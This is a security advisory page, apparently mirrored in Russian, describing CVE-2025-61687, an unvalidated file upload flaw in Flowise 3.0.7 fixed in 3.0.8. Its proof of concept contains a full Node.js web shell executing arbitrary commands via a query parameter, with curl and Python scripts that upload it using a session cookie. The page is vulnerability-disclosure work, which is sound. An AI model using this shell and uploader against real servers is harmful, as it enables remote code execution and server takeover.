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GHSA-35g6-rrw3-v6xc

Опубликовано: 08 окт. 2025
Источник: github
Github: Прошло ревью
CVSS3: 8.3

Описание

FlowiseAI/Flosise has File Upload vulnerability

Summary

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process'); const http = require('http'); const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd'); if (cmd) { console.log(`Executing: ${cmd}`); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(`Error: ${error.message}\n${stderr || ''}`); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end(` <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> `); } }); const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(`Shell running on port ${PORT}`); console.log(`Access: http://localhost:${PORT}?cmd=id`); });

curl Upload

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \ -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \ -F "files=@shell.js;type=application/javascript"

Python Upload Script

import requests import uuid TARGET_URL = "http://localhost:3000" CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc" TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" CHAT_ID = str(uuid.uuid4()) def upload_shell(): url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}" headers = {'Cookie': f'jwt={TOKEN}'} files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')} r = requests.post(url, headers=headers, files=files) if r.status_code == 200: print("[✓] Upload success") print(r.text) else: print(f"[✗] Upload failed ({r.status_code})") print(r.text) if __name__ == "__main__": upload_shell()
image

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Ссылки

Пакеты

Наименование

flowise

npm
Затронутые версииВерсия исправления

= 3.0.7

3.0.8

EPSS

Процентиль: 50%
0.00273
Низкий

8.3 High

CVSS3

CVE ID

CVE-2025-61687

Дефекты

CWE-434

Связанные уязвимости

nvd логотип

CVE-2025-61687

CVSS3: 8.3
nvd
4 месяца назад

Flowise is a drag & drop user interface to build a customized large language model flow. A file upload vulnerability in version 3.0.7 of FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. This presents a high-severity threat to system integrity and confidentiality. As of time of publication, no known patched versions are available.

EPSS

Процентиль: 50%
0.00273
Низкий

8.3 High

CVSS3

CVE ID

CVE-2025-61687

Дефекты

CWE-434